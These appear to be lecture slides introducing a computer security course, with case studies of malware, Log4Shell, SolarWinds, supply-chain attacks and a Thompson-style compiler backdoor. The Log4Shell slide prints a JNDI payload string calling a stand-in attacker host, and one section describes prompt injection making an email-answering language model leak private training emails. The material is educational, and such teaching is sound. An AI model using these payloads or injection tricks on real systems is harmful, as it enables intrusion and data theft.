Computer Security
Course overview
The computer security problem
• Lots of buggy software
• Money can be made from finding and exploiting vulns.
1. Marketplace for exploits (gaining a foothold)
2. Marketplace for malware (post compromise)
3. Strong economic and political motivation for using both
current state of computer security
Top 10 products by total number of distinct vulnerabilities in 2023
Product name Vendor # vulnerabilities
Android Google 1422
Microsoft Server Microsoft 2059
Fedora Fedora Project 540
Windows 11 Microsoft 1004
Debian Linux Debian 487
MacOS Apple 418
Chrome Google 296
iPhone OS Apple 269
source: https://www.cvedetails.com/top-50-products.php?year=2023
Distribution of exploits used in attacks
Java
Android
Browser Office
Source: Kaspersky Security Bulletin 2021
A global problem
Top 10 countries by share of attacked users:
Source: Kaspersky Security Bulletin 2021
Goals for this course
• Understand exploit techniques
– Learn to defend and prevent common exploits
• Understand the available security tools
• Learn to architect secure systems
This course
Part 1: basics (architecting for security)
• Securing apps, OS, and legacy code:
sandboxing, access control, and security testing
Part 2: Web security (defending against a web attacker)
• Building robust web sites, understand the browser security model
Part 3: network security (defending against a network attacker)
• Monitoring and architecting secure networks.
Part 4: securing mobile and cloud applications, hardware features
Don’t try this at home !
Introduction
What motivates
attackers?
…
Why compromise end user machines?
1. Steal user credentials
keylog for banking passwords, corporate passwords, gaming pwds
Example: SilentBanker (and many like it)
User requests login page
Malware injects Bank sends login page
Javascript needed to log in
Bank
When user submits
information, also sent to
attacker Similar mechanism used
by Zbot, and others
Adversary-in-the-Browser (AITB)
Lots of financial malware
• records banking passwords
via keylogger
• spread via spam email and
hacked web sites
• maintains access to PC for
future installs
Source: Kaspersky Security Bulletin 2021
Similar attacks on mobile devices
Example: FinSpy.
• Works on iOS and Android (and Windows)
• once installed: collects contacts, call history, geolocation,
texts, messages in encrypted chat apps, …
• How installed?
– Android pre-2017: links in SMS / links in E-mail
– iOS and Android post 2017: physical access
Why own machines: 2. Ransomware
a worldwide problem
• Worm spreads via a vuln.
in SMB (port 445)
• Apr. 14, 2017: Eternalblue vuln.
released by ShadowBrokers
• May 12, 2017: Worm detected
(3 weeks to weaponize)
WannaCry ransomware
Why own machines: 3. Bitcoin Mining
# affected users
Examples:
1. Trojan.Win32.Miner.bbb
2. Trojan.Win32.Miner.ays
3. Trojan.JS.Miner.m
4. Trojan.Win32.Miner.gen
Source: Kaspersky Security Bulletin 2021
More devastating: server-side attacks
(1) Data theft: credit card numbers, intellectual property
– Example: Equifax (July 2017), ≈ 143M “customer” data impacted
• Exploited known vulnerability in Apache Struts (RCE)
– Many many similar attacks since 2000
(2) Political motivation:
– Election: attack on DNC (2015),
– Ukraine attacks (2014: election, 2015,2016: power grid, 2017: NotPetya, … )
(3) Infect visiting users
Result: many server-side Breaches
Typical attack steps:
– Reconnaissance
– Foothold: initial breach
Security tools available to
– Internal reconnaissance try and stop each step (kill chain)
– Lateral movement will discuss tools during course
– Data extraction
… but no complete solution
– Exfiltration
Case study 1: Log4Shell (2021)
Log4j: a popular logging framework for Java
• Nov. 21: vulnerability in Log4j 2 enables Remote Code Execution
• Over 7000 code repositories affected and many Java projects
The bug: Log4j can load and run code to process a log request
attacker victim
message containing: ${jndi:ldap://attacker.com}
log.info(“…
LDAP query then HTTP GET ${jndi:ldap://attacker.com}…”)
Malicious Java code
execute code
The result
How was this exploited?
• Khonsari ransomware
• XMRIG Cryptominer
• Orcus Remote Access Trojan
How to prevent problems of this type?
• Isolation: sandbox log4j library or sandbox entire application
Case study 1: SolarWinds Orion (2020)
SolarWinds Orion: set of monitoring tools used by many orgs.
one infected DLL
What happened? SolarWinds.Orion.Core.DLL orion
Customer 1
sunburst SolarWinds
⋮
Orion
malware software orion
Customer 18000
update
Attack (Feb. 20, 2020): attacker corrupts SolarWinds software update process
Large number of infected orgs … not detected until Dec. 2020 .
Sunspot: malware injection
How did attacker corrupt the SolarWinds build process?
• taskhostsvc.exe runs on SolarWinds build system:
– monitors for processes running MsBuild.exe (MS Visual Studio),
– if found, read cmd line args to test if Orion software being built,
– if so:
• replace file InventoryManager.cs with malware version
(store original version in InventoryManager.bk)
• when MsBuild.exe exits, restore original file … no trace left
How can an org like SolarWinds detect/prevent this ???
The fallout …
Large number of orgs and govt systems exposed for many months
More generally: a supply chain attack
• Software, hardware, or service supplier is compromised
⟹ many compromised customers
• Many examples of this in the past (e.g., Target 2013, … )
• Defenses?
Case study 2: typo squatting
pip: The package installer for Python
Usage: python –m pip install ‘SomePackage>=2.3’ # specify min version
• By default, installs from PyPI:
• The Python Package Index (at pypi.org)
• PyPI hosts over 300,000 projects
Security considerations?
Security considerations: dependencies
Every package you install creates a dependence:
• Package maintainer can inject code into your environment
• Supply chain attack:
attack on package maintainer ⟹ compromise dependent projects
Many examples:
https://jfrog.com/blog/malicious-pypi-packages-stealing-credit-cards-injecting-code/
A recent example: xz Utils
• An open source compression utility on Github
• Feb. 23, 2024: one of the two long-time maintainers introduced
an update that includes a malicious install script
• So what? sshd has a dependency on xz Utils …
⇒ enables remote access into servers running sshd
• Fortunately, this was caught before wide deployment
Security considerations: typo-squatting
The risk: malware package with a similar name to a popular package
⟹ unsuspecting developers install the wrong package
Examples:
• urllib3: a package to parse URLs. Malware package: urlib3
• python-nmap: net scanning package. Malware package: nmap-python
From 2017-2020:
• 40 examples on PyPI of malware typo-sqautting packages
[Meyers-Tozer’2020]
Case study 3: Large Language Models
Every new technology brings new avenues for attacks
• Example: attacking LLMs via prompt injection
I’ll fine-tune a model to respond to incoming
what could go wrong?
emails using my previous email responses
incoming
email
automated
response
mail server
Prompt injection attacks
LLMs can be vulnerable to adversarial inputs
⇒ an adversarial incoming email
can cause LLM to send back its
training data (private emails)
hidden instructions
An example:
image-based prompt injection
Source: https://arxiv.org/pdf/2307.10490v4.pdf
Introduction
The Marketplace for
Exploits
Marketplace for Exploits
Option 1: bug bounty programs (many)
• Google Vulnerability Reward Program: up to $31,337
https://bughunters.google.com/
• Microsoft Bounty Program: up to $100K
• Apple Bug Bounty program: up to $200K
• Stanford bug bounty program: up to $1K
• Pwn2Own competition: $15K
Google’s bug bounty program
https://bughunters.google.com/
Marketplace for Exploits
Option 1: bug bounty programs (many)
• Google Vulnerability Reward Program: up to $31,337
• Microsoft Bounty Program: up to $100K
• Apple Bug Bounty program: up to $200K
• Stanford bug bounty program: up to $1K
• Pwn2Own competition: $15K
Option 2:
• Zerodium: up to $2M for iOS, $2.5M for Android (since 2019)
• … many others
Marketplace for Exploits
RCE: remote code execution
LPE: local privilege escalation
SBX: sandbox escape
Source: Zerodium payouts
Marketplace for Exploits
RCE: remote code execution
LPE: local privilege escalation
SBX: sandbox escape
Source: Zerodium payouts
Temporary bounties
https://zerodium.com/temporary.html
Why buy 0days?
https://zerodium.com/faq.html
Ken Thompson’s clever Trojan
Turing award lecture
(CACM Aug. 1984)
What code can we trust?
What code can we trust?
Can we trust the “login” program in a Linux distribution? (e.g. Ubuntu)
• No! the login program may have a backdoor
⇾ records my password as I type it
• Solution: recompile login program from source code
Can we trust the login source code?
• No! but we can inspect the code, then recompile
Can we trust the compiler?
No! Example malicious compiler code:
compile(s) {
if (match(s, “login-program”)) {
compile(“login-backdoor”);
return
}
/* regular compilation */
}
What to do?
Solution: inspect compiler source code,
then recompile the compiler
Problem: C compiler is itself written in C, compiles itself
What if compiler binary has a backdoor?
Thompson’s clever backdoor
Attack step 1: change compiler source code:
compile(s) {
if (match(s, “login-program”)) {
compile(“login-backdoor”);
return
}
if (match(s, “compiler-program”)) {
(*)
compile(“compiler-backdoor”);
return
}
/* regular compilation */
}
Thompson’s clever backdoor
Attack step 2:
• Compile modified compiler ⇒ compiler binary
• Restore compiler source to original state
Now: inspecting compiler source reveals nothing unusual
… but compiling compiler gives a corrupt compiler binary
Complication: compiler-backdoor needs to include all of (*)
What can we trust?
I order a laptop by mail. When it arrives, what can I trust on it?
• Applications and/or operating system may be backdoored
⇒ solution: reinstall OS and applications
• How to reinstall? Can’t trust OS to reinstall the OS.
⇒ Boot Tails from a USB drive (Debian)
• Need to trust pre-boot BIOS, UEFI code. Can we trust it?
⇒ No! (e.g. ShadowHammer operation in 2018)
• Can we trust the motherboard? Software updates?
So, what can we trust?
Sadly, nothing … anything can be compromised
• but then we can’t make progress
Trusted Computing Base (TCB)
• Assume some minimal part of the system is not compromised
• Then build a secure environment on top of that
will see how during the course.
Next lecture: control hijacking vulnerabilities
THE END
